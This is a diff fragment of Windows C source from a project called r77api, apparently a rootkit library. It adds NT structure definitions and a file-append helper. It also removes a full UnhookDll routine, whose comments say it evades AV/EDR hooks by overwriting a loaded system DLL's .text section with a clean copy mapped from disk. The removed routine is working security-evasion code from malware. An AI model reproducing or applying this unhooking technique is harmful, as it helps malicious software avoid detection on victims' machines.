if (FAILED(GetModuleFileNameW(NULL, executablePath, MAX_PATH))) return FALSE;
diff --git a/r77api/ntdll.h b/r77api/ntdll.h
index c03010d..a067399 100644
--- a/r77api/ntdll.h
+++ b/r77api/ntdll.h
@@ -643,6 +643,26 @@ typedef struct _NT_IMAGE_RELOC
WORD Type : 4;
} NT_IMAGE_RELOC, *PNT_IMAGE_RELOC;
+typedef struct _NT_IMAGE_RUNTIME_FUNCTION_ENTRY
+{
+ DWORD BeginAddress;
+ DWORD EndAddress;
+ union
+ {
+ DWORD UnwindInfoAddress;
+ DWORD UnwindData;
+ } DUMMYUNIONNAME;
+} NT_IMAGE_RUNTIME_FUNCTION_ENTRY, *PNT_IMAGE_RUNTIME_FUNCTION_ENTRY;
+
+typedef struct _NT_FILE_STANDARD_INFORMATION
+{
+ LARGE_INTEGER AllocationSize;
+ LARGE_INTEGER EndOfFile;
+ ULONG NumberOfLinks;
+ BOOLEAN DeletePending;
+ BOOLEAN Directory;
+} NT_FILE_STANDARD_INFORMATION, *PNT_FILE_STANDARD_INFORMATION;
+
typedef struct _NT_PDH_DATA_ITEM_PATH_ELEMENTS_W
{
LPWSTR MachineName;
diff --git a/r77api/r77win.c b/r77api/r77win.c
index c7dc8d4..90cba7b 100644
--- a/r77api/r77win.c
+++ b/r77api/r77win.c
@@ -388,6 +388,20 @@ BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size)
return result;
}
+BOOL AppendFileContent(LPCWSTR path, LPBYTE data, DWORD size)
+{
+ BOOL result = FALSE;
+
+ HANDLE file = CreateFileW(path, FILE_GENERIC_READ | FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (file != INVALID_HANDLE_VALUE)
+ {
+ DWORD bytesWritten;
+ result = WriteFile(file, data, size, &bytesWritten, NULL);
+ CloseHandle(file);
+ }
+
+ return result;
+}
BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath)
{
BOOL result = FALSE;
@@ -986,69 +1000,6 @@ DWORD RvaToOffset(LPBYTE image, DWORD rva)
return 0;
}
}
-VOID UnhookDll(LPCWSTR name)
-{
- if (name)
- {
- WCHAR path[MAX_PATH + 1];
- if (Is64BitOperatingSystem() && BITNESS(32)) StrCpyW(path, L"C:\\Windows\\SysWOW64\\");
- else StrCpyW(path, L"C:\\Windows\\System32\\");
-
- StrCatW(path, name);
-
- // Get original DLL handle. This DLL is possibly hooked by AV/EDR solutions.
- HMODULE dll = GetModuleHandleW(name);
- if (dll)
- {
- MODULEINFO moduleInfo;
- i_memset(&moduleInfo, 0, sizeof(MODULEINFO));
-
- if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO)))
- {
- // Retrieve a clean copy of the DLL file.
- HANDLE dllFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
- if (dllFile != INVALID_HANDLE_VALUE)
- {
- // Map the clean DLL into memory
- HANDLE dllMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
- if (dllMapping)
- {
- LPVOID dllMappedFile = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0);
- if (dllMappedFile)
- {
- PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)moduleInfo.lpBaseOfDll + ((PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll)->e_lfanew);
-
- for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
- {
- PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER));
-
- // Find the .text section of the hooked DLL and overwrite it with the original DLL section
- if (!StrCmpIA((LPCSTR)sectionHeader->Name, ".text"))
- {
- LPVOID virtualAddress = (LPVOID)((ULONG_PTR)moduleInfo.lpBaseOfDll + (ULONG_PTR)sectionHeader->VirtualAddress);
- DWORD virtualSize = sectionHeader->Misc.VirtualSize;
-
- DWORD oldProtect;
- VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
- i_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize);
- VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect);
-
- break;
- }
- }
- }
-
- CloseHandle(dllMapping);
- }
-
- CloseHandle(dllFile);
- }
- }
-
- FreeLibrary(dll);
- }
- }
-}
NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength)
{
diff --git a/r77api/r77win.h b/r77api/r77win.h
index 2d04478..c9bddc2 100644
--- a/r77api/r77win.h
+++ b/r77api/r77win.h
@@ -189,6 +189,17 @@ BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length);
///
BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size);
///
+/// Writes a buffer to the end of an existing file. If the file does not exist, yet, the file will be created.
+///
+/// The path to the file to append to.
+/// A buffer to write to the file.
+/// The number of bytes to write.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL AppendFileContent(LPCWSTR path, LPBYTE data, DWORD size);
+///
/// Creates a file with a random filename and a given extension in the temp directory and writes a given buffer to it.
///
/// A buffer to write to the file.
@@ -297,11 +308,6 @@ DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName);
/// The file offset converted from the specified RVA; or 0, if this function fails.
///
DWORD RvaToOffset(LPBYTE image, DWORD rva);
-///
-/// Unhooks a DLL by replacing the .text section with the original DLL section.
-///
-/// The name of the DLL to unhook.
-VOID UnhookDll(LPCWSTR name);
NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
NTSTATUS NTAPI R77_NtCreateThreadEx(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);